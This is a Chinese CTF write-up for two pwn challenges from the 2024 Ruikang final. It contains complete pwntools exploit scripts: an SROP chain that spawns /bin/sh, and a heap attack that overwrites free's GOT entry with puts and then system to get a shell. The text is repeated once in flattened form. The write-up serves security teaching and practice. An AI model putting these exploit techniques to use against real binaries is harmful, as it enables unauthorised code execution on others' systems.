2024睿抗决赛pwn题解
字数 1295 2025-08-22 12:22:42

睿抗决赛PWN题解教学文档

题目1:SROP利用

题目分析

这是一个使用SROP (Sigreturn Oriented Programming)技术解决的题目。题目提供了以下关键信息:

  • 第一次read可以把"/bin/sh"写在栈上
  • 利用write函数计算"/bin/sh"的地址
  • 需要构造SROP攻击

关键知识点

  1. SROP原理:利用sigreturn系统调用恢复寄存器状态的特性,通过伪造signal frame来控制程序执行流。
  2. 系统调用号:execve的系统调用号为59 (0x3b)。
  3. 关键gadget:需要找到mov rax, 0xfsyscall; ret的gadget。

解题步骤

  1. 初始布局

    • 发送"/bin/sh\x00"字符串到栈上
    • 填充到0x10字节
    • 覆盖返回地址为main函数地址(0x4004F1)以再次触发漏洞
  2. 泄露栈地址

    • 程序会通过write函数输出栈上的内容
    • 接收并解析出栈地址,计算"/bin/sh"的实际地址
  3. 构造SROP攻击

    • 使用mov rax, 0xf gadget设置rax为sigreturn系统调用号(15)
    • 调用syscall执行sigreturn
    • 伪造signal frame设置寄存器:
      • rax = 59 (execve)
      • rip = syscall地址
      • rdi = "/bin/sh"地址
      • rsi = 0
      • rdx = 0

完整利用代码

from pwn import *
context(log_level='debug', arch='amd64')

p = process('./1')
elf = ELF('./1')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

mov_rax_0xf = 0x4004DA
main = 0x4004F1
syscall_ret = 0x400517

# 第一次输入:写入/bin/sh并返回到main
payload = b'/bin/sh\x00'.ljust(0x10, b'\x00') + p64(main)
p.send(payload)

# 接收泄露的栈地址
p.recv(32)
stack = u64(p.recv(6).ljust(8, b'\x00'))
binsh = stack - 0x118

# 构造SROP frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rip = syscall_ret
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0

# 发送攻击payload
payload = b'a'*0x10 + p64(mov_rax_0xf) + p64(syscall_ret) + bytes(frame)
p.sendline(payload)
p.interactive()

题目2:堆利用与GOT覆写

题目分析

这是一个菜单堆题目,关键限制和漏洞:

  • 只能申请0x36大小的堆块
  • edit函数存在漏洞,可以用于攻击
  • 攻击思路:修改GOT表,先修改free为puts泄露libc地址,再修改free为system

关键知识点

  1. GOT表攻击:通过修改GOT表中的函数指针来控制程序执行流。
  2. 堆布局:需要合理布局堆结构以实现利用。
  3. 泄露libc:通过将free改为puts来泄露libc函数地址。

解题步骤

  1. 堆布局

    • 申请多个堆块
    • 释放一个堆块进入fastbin
  2. 修改GOT表

    • 利用edit漏洞修改free的GOT表项为puts的PLT地址
    • 调用free(实际上是puts)来泄露libc地址
    • 计算libc基址
  3. 获取system地址

    • 根据泄露的地址计算system和"/bin/sh"的地址
  4. 最终利用

    • 再次修改free的GOT表项为system地址
    • 在堆上写入"/bin/sh"
    • 调用free(实际上是system)获取shell

完整利用代码

from pwn import *
context(log_level='debug', arch='amd64')

p = process('./2')
elf = ELF('./2')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

def add():
    p.sendlineafter(b'your choice :', b'1')

def edit(content1, content2):
    p.sendlineafter(b'your choice :', b'2')
    p.sendafter(b'name:', content1)
    p.sendafter(b'data:', content2)

def free():
    p.sendlineafter(b'your choice :', b'3')

def show():
    p.sendlineafter(b'your choice :', b'4')

# 堆布局
for i in range(0x3e):
    show()
add()
add()
free()

# 修改GOT表
edit(p64(0x6010a0), p64(0))
add()
add()
edit(p64(0x601010), p64(elf.plt['puts'])) # 修改free为puts

# 泄露libc地址
free()
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - 4071184

# 获取system地址
system = libc_base + libc.sym['system']

# 最终利用
edit(b'/bin/sh\x00', p64(system))
free() # 实际上是system("/bin/sh")
p.interactive()

总结

  1. SROP利用要点

    • 需要控制rax寄存器为0xf
    • 需要找到syscall; ret gadget
    • 需要精确计算栈上关键数据的地址
    • 需要构造完整的signal frame
  2. GOT表攻击要点

    • 需要知道GOT表地址
    • 需要能够修改GOT表内容
    • 需要合理布局堆结构
    • 需要准确计算libc基址
  3. 通用技巧

    • 使用pwntools的SigreturnFrame简化SROP构造
    • 使用u64和p64处理地址转换
    • 使用recvuntil等函数精确控制交互流程
    • 合理使用gdb调试确认内存状态
睿抗决赛PWN题解教学文档 题目1:SROP利用 题目分析 这是一个使用SROP (Sigreturn Oriented Programming)技术解决的题目。题目提供了以下关键信息: 第一次read可以把"/bin/sh"写在栈上 利用write函数计算"/bin/sh"的地址 需要构造SROP攻击 关键知识点 SROP原理 :利用sigreturn系统调用恢复寄存器状态的特性,通过伪造signal frame来控制程序执行流。 系统调用号 :execve的系统调用号为59 (0x3b)。 关键gadget :需要找到 mov rax, 0xf 和 syscall; ret 的gadget。 解题步骤 初始布局 : 发送"/bin/sh\x00"字符串到栈上 填充到0x10字节 覆盖返回地址为main函数地址(0x4004F1)以再次触发漏洞 泄露栈地址 : 程序会通过write函数输出栈上的内容 接收并解析出栈地址,计算"/bin/sh"的实际地址 构造SROP攻击 : 使用 mov rax, 0xf gadget设置rax为sigreturn系统调用号(15) 调用syscall执行sigreturn 伪造signal frame设置寄存器: rax = 59 (execve) rip = syscall地址 rdi = "/bin/sh"地址 rsi = 0 rdx = 0 完整利用代码 题目2:堆利用与GOT覆写 题目分析 这是一个菜单堆题目,关键限制和漏洞: 只能申请0x36大小的堆块 edit函数存在漏洞,可以用于攻击 攻击思路:修改GOT表,先修改free为puts泄露libc地址,再修改free为system 关键知识点 GOT表攻击 :通过修改GOT表中的函数指针来控制程序执行流。 堆布局 :需要合理布局堆结构以实现利用。 泄露libc :通过将free改为puts来泄露libc函数地址。 解题步骤 堆布局 : 申请多个堆块 释放一个堆块进入fastbin 修改GOT表 : 利用edit漏洞修改free的GOT表项为puts的PLT地址 调用free(实际上是puts)来泄露libc地址 计算libc基址 获取system地址 : 根据泄露的地址计算system和"/bin/sh"的地址 最终利用 : 再次修改free的GOT表项为system地址 在堆上写入"/bin/sh" 调用free(实际上是system)获取shell 完整利用代码 总结 SROP利用要点 : 需要控制rax寄存器为0xf 需要找到syscall; ret gadget 需要精确计算栈上关键数据的地址 需要构造完整的signal frame GOT表攻击要点 : 需要知道GOT表地址 需要能够修改GOT表内容 需要合理布局堆结构 需要准确计算libc基址 通用技巧 : 使用pwntools的SigreturnFrame简化SROP构造 使用u64和p64处理地址转换 使用recvuntil等函数精确控制交互流程 合理使用gdb调试确认内存状态